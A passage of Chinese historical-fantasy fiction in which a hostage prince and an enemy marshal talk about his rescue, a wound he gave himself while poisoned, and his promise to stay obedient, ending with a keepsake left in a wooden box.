说完,他立刻就自己拿起桌案笔架上一根毛笔,蘸了水杯里的水在桌子上写,“…不过其实这些都学不精啦,鸡毛蒜皮也没什么用,我自己压根用不上,纯属好奇和好玩而已。”
霍络佐实在是担心他会多疑乱想,不拿点真功夫出来证明自己说的话是不行的。况且他母妃是洹国的公主对吧…套个近乎。
“……”楚洬溟也察觉出来了,但这说的确实暂时没什么刺可挑。
他只道了一句:“王子还挺好学的。”
没再追问就是没再继续怀疑了。霍络佐松了一口气。这会儿才想起自己心里也有疑事,抬头看向眼前的人,低声道:“我想问…当日,我真实到底是怎么从使队内逃出来的?”
听他这么问,楚洬溟一下回想起了在医馆内糊弄骗他的事,心中也有一丝尴尬,“…嗯,使队内有眼线传飞书,告知了烔格公主中毒身亡一事。天瀚兵连夜赶去,刚好赶上当日之乱,把你救下来了。”
“那昨夜在医馆所说,什么在一片植物中...”
“我乱说的。王子见谅。”
……就是因为这个才导致他轻信了这人之后所有的鬼话!居然是误打误撞乱说的...
楚洬溟沉默了一会儿后,道:“你一点印象都没有了吗?你当时,还是有点意识的,很顽强。”
霍络佐:“...断片了。”
楚洬溟点了点头,又道:“还有一事,王子左腿上,有一个用自己衣服布料包扎过的剜伤。那个是?”
霍络佐愣了一下。
怎么问得这么细......
“那个是怎么弄的?”楚洬溟盯着他问。
确实异常,不符合护卫队弄的,也不符合在匪乱中弄的。
“就...自己剜的...”
“中毒不清醒了,但不想睡过去,怕醒不过来了,想轻轻割一个伤让自己痛清醒点,一不小心剜多了.....”
良久后,楚洬溟淡淡道:“你挺狠的。”
霍络佐道:“...是手抖。”
楚洬溟也没说什么,看了他片刻后,缓缓道:“王子这段时间要好好休息、调理身体,让身上所有伤口好好恢复。其他的不用想太多。有什么需要,和译官说。”
霍络佐有些意外,点了点头。
楚洬溟忽然站起来,开始和译官沟通事情,看来是准备要走了,霍络佐思虑了一下,赶忙喊住他道:“漓渊王。”
霍络佐看向他,很认真地说:“漓渊王,我与我的妹妹不同,我很听话,若是父王或政殿交予我的事,我什么都能接受,哪怕是要我居于异乡十年,二十年,或是更久,我也能够服从。我不是那种会自己闹乱子的性子,无论所居何处,我只安分做别人允许我做的事。这一点,请你放心。”
霍络佐想要打消他的一切顾虑。至少尽所能。停战一事,言阊的决策最终会如何,是个未知数。虽说看他的反应不像是要立刻翻脸的样子,但娜娥丽一事,无论如何都会让言军元帅心有顾忌。接下来烔格的质子到底能否安分守己,在他心中肯定是一个考量。尤其如果他要提延长入侍期限作为补偿条件之一的话,质子本人能否乖乖配合,是一个重要考量,毕竟,言阊绝不会允许娜娥丽这种事再发生一次了。
所以至少在这件事上,霍络佐想让他安心...…
以及,刚刚经他那么一问,霍络佐也确实怀疑可能是政殿上有人暗中协助娜娥丽偷盗毒药,但即便真的有,这一举动的目的也绝对不是楚洬溟担心的那一个。言军元帅嘛,最担心的无非不就是烔军是否有诈,送质子是否是个幌子,是不是刻意准备让质子们过几月就在言阊自尽,然后暗中整军突袭....之类的。而烔格的事实情况就是——没这回事儿。虽然俄诺王子此刻确实气得有点疯魔,但毕竟君王还是个正常人啊。
偷盗毒药这事,往轻点儿猜就是如他所述,下人搞的鬼,往重点儿猜则可能是政殿上有谁发了个狠,想不顾一切扳倒娜娥丽西雅妃他们母族一家人。但这都跟边境战争没有直接的关系。霍络佐求星星求月亮希望面前这个人别是个太多疑的性子,千万别胡思乱想想太多....有事可以再见面好好谈一谈的,该补偿补偿,别一句话不说大动干戈就好.….
楚洬溟看了他一眼,低头沉默一会儿,随后抬眼,盯住他的眼睛,道:“在医馆,你说,想被送回烔格。”
霍络佐脱口就道:“我那是假话呀!我...”
他忽然说不出口了。
一口气出不来。
因为…
想回家,不是假话。
那双在医馆很柔和的眼睛,此刻盯着他,盯得很紧,眼神明明平静,霍络佐却能感觉到压力,甚至不敢主动移开眼。直到楚洬溟自己垂下眼眸,霍络佐才得以松口气,他甚至没意识到自己屏气了。
有一种挫败感。
霍络佐低着头,道:“...你应该知道我当时只是想找办法快点见到言阊军队,不想耽误久了。”
楚洬溟点头:“我知道。”
霍络佐坚定道:“我想在哪儿不重要。我的王上要我在哪儿我便会在哪儿。我为臣,君主的旨意远大于我的任何私念。”
楚洬溟沉默片刻,点了点头。
“王子不用想太多,好好照顾自己。如果觉得有很重要的事情想找我,和译官说。”
霍络佐轻轻点了点头。
“今天折腾了一整天也累了,早些睡吧,好好休息。”他道。
楚洬溟跟译官嘱咐了一些事情,便向门口走去了。
霍络佐此刻却突然想起了什么。
“嗯...”
听见他支支吾吾,楚洬溟又伫足转头,耐心问:“怎么了?”
霍络佐从衣服内侧口袋里拿出那个小木盒子,打开,放在桌案上。
他垂着眼,“你的东西。”
楚洬溟微微张口,却是顿了一会儿才出声。
“你收着吧。”
他语气很轻,缓缓说完,转身离开了房间。
霍络佐抬头望着他离去的背影。
他一瞬间猛地想起来了。
强烈刺眼的日光。
腿上阵阵疼痛。
眼前一片金沙,空气被热浪扭曲,马队奔驰而下。
头晕晕的,画面也晕晕乎乎的。即使现在想起来了,也只剩这些零碎片段了。但那个身影给人的感觉还是太过强烈。白衣飘荡,战马魆黑,手上一把长戟看一眼就让人战栗。
毕竟,伦千尔臂上的伤还历历在目。那些所有听过的传闻,也都印象深刻。
霍络佐把自己从回忆里抽出来,缓缓睁眼,呼出一大口气,想让自己轻松一点,刚才一直太紧张了。
局势最终到底会怎样,是个未知数,没有人能说他现在是绝对安全的。但,不知为什么,他此刻虽然紧张,心底却总有那么一丝说不清道不明的安全感。
霍络佐眼神不自觉地落在了面前的桌案上。
一颗紫白色的扁圆海胆球,乖乖地呆在木盒子里。